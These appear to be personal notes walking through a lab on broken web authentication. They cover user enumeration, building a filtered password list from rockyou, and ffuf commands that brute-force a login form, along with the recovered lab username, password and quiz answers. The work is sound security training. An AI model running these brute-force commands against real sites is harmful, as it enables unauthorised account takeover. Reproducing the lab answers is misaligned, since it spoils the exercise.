BROKEN AUTHENTICATION
ENUMERATING USERS
Enumerate a valid user on the web application. Provide the username as the answer.
#manually verify whether the web login page will display an error stating that the user name is invalid
root@htb:~$ BROWSER > {targetSite:port}
username: invalid
password: invalid
* error: "Unknown user"
#automate the process of enumerating usernames
root@htb:~$ curl -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Usernames/xato-net-10-million-usernames.txt
root@htb:~$ ffuf -w xato-net-10-million-usernames.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"
* the -w represents the wordlist to use
* the -u represents the target URL and page
* the -X POST represents the HTTP method to use
* the -H is used to add a custom header to the HTTP requests
- the Content-Type application/x-www-form-urlencoded is often used when sending data in a form submission
* the -d represents the data
* the -fr is used to filter out results based on a specific response string
- If the string "Unknown user" appears in the HTTP response, those results will be excluded from the output
root@htb:~$ ffuf -w xato-net-10-million-usernames.txt -u http://94.237.54.116:49778/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"
* cooksterBRUTE-FORCING PASSWORDS
What is the password of the user 'admin'?
01.USER ENUMERATION
#manually verify whether the web login page will display an error stating that the user name is invalid
root@oco:~$ BROWSER > {targetSite:port}
username: invalid
password: invalid
* error: "Unknown user"
#automate the process of enumerating usernames
root@oco:~$ curl -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Usernames/xato-net-10-million-usernames.txt
root@oco:~$ ffuf -w xato-net-10-million-usernames.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"
* the -w represents the wordlist to use
* the -u represents the target URL and page
* the -X POST represents the HTTP method to use
* the -H is used to add a custom header to the HTTP requests
- the Content-Type application/x-www-form-urlencoded is often used when sending data in a form submission
* the -d represents the data
* the -fr is used to filter out results based on a specific response string
- If the string "Unknown user" appears in the HTTP response, those results will be excluded from the output
#after identifying valid usernames, proceed by attempting to brute-force the user's password02.IDENTIFY ERROR MESSAGE
root@oco:~$ BROWSER > {targetSite:port}
username field: {arbitraryValue}
password field: {arbitraryValue}
* send expected output
#identified incorrect credential message
* unknown user
* invalid credentials03.IDENTIFY POST PARAMETERS
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
username field: {arbitraryValue}
password field: {arbitraryValue}
* submit the expected user input
BURP > Proxy
Request
...
POST /index.php HTTP/1.1
Host: 83.136.254.158:51572
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=2j030ocgj9kbs0a18lai9m6dvg
username=test&password=test
* identified post parameters as username=x&password=x04.CRAFT CUSTOM PWLIST
#tailor the password to the organization's password list (if known)
Minimum Length: 10 characters
Must Include:
At least one uppercase letter
At least one lowercase letter
At least one digit
#
root@oco:~$ cp /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz .
root@oco:~$ tar -xf rockyou.txt
root@oco:~$ wc -l rockyou.txt
* 14344391
root@oco:~$ grep '[[:upper:]]' rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > customPWList.txt
* the grep '[[:upper:]]' rockyou.txt searches for lines in rockyou.txt that contain at least one uppercase letter.
- The [[:upper:]] is a POSIX character class that matches any uppercase letter (A-Z).
* the grep '[[:lower:]]' filters the lines to include only those containing at least one lowercase letter (matched by [[:lower:]]).
* the grep '[[:digit:]]' filters the output further to include only lines that contain at least one digit (0-9).
- the [[:digit:]] POSIX character class matches any numeric digit.
* the grep -E '.{10}' uses the -E option (extended regular expressions) to match lines with 10 or more characters.
- the pattern .{10} matches any line with at least 10 characters, where . represents any character and {10} specifies at least 10 repetitions.
root@oco:~$ wc -l customPWList.txt
* 15164705.FUZZ for the password
root@oco:~$ ffuf -w ./customPWList.txt -u http://83.136.254.158:48961/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username" -t 80
* -t specifies the number of threads to use; default is 40
* MUST use the error 'invalid user' in ffuf NOT 'invalid credential' error
- the -fr 'invalid user' works because it removes responses that match a certain regular expression from the output
- if 'invalid user' is displayed in the response, then it gets discarded from the output
* Ramirez120992 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 102ms]BRUTE-FORCING PASSWORD RESET TOKENS
On what do password recovery functionalities provided by web applications typically rely to allow users to recover their accounts?
one-time reset tokenBRUTE-FORCING 2FA CODES
VULNERABLE PASSWORD RESET
AUTHENTICATION BYPASS: DIRECT ACCESS
AUTHENTICATION BYPASS: PARAMETER MODIFICATION
ATTACKING SESSION TOKENS
Last updated